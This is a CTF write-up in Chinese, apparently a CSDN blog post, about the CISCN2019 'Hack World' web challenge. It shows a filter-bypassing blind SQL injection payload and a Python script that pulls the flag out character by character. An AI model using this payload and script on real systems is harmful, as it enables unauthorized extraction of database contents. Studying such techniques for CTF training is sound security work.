[CISCN2019 华北赛区 Day2 Web1]Hack World

文章介绍了在遇到SQL注入时,如何通过构建payload并利用ASCII值进行盲注攻击,绕过字符集过滤,最终成功获取flag的过程。作者使用Python的requests库实现了一个脚本进行演示。
摘要由CSDN通过智能技术生成

本题首先考察的是sql注入

拿过滤字符集先跑一遍

发现以上字符集都被过滤了

尝试id=1

id=1=1

尝试id=(1)=(2)

这里就已经给出了个思路我们可以尝试盲注去打

id=(select(ascii(mid(flag,1,1))=102)from(flag))

这里表跟列已经给了我们了,所以我们可以写脚本了

import requests
import string


def blind_injection(url):
    flag=''
    strings = string.printable
    for num in range(1,60):
        for i in strings:
            payload = f'(select(ascii(mid(flag,{num},1))={ord(i)})from(flag))'
            post_data = {"id":payload}
            try:
                res = requests.post(url=url, data=post_data, timeout=5)
                if 'Hello' in res.text:
                    flag += i
                    print(flag)
                    break
                else:
                    continue
            except requests.exceptions.Timeout:
                print("Timeout occurred, continuing to wait...")
                continue
    print(flag)


if __name__ == '__main__':
    url = r'http://7ab87533-bfbb-4e1e-a688-19960a6964ac.node5.buuoj.cn:81/index.php'
    blind_injection(url)

可以跑出flag

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值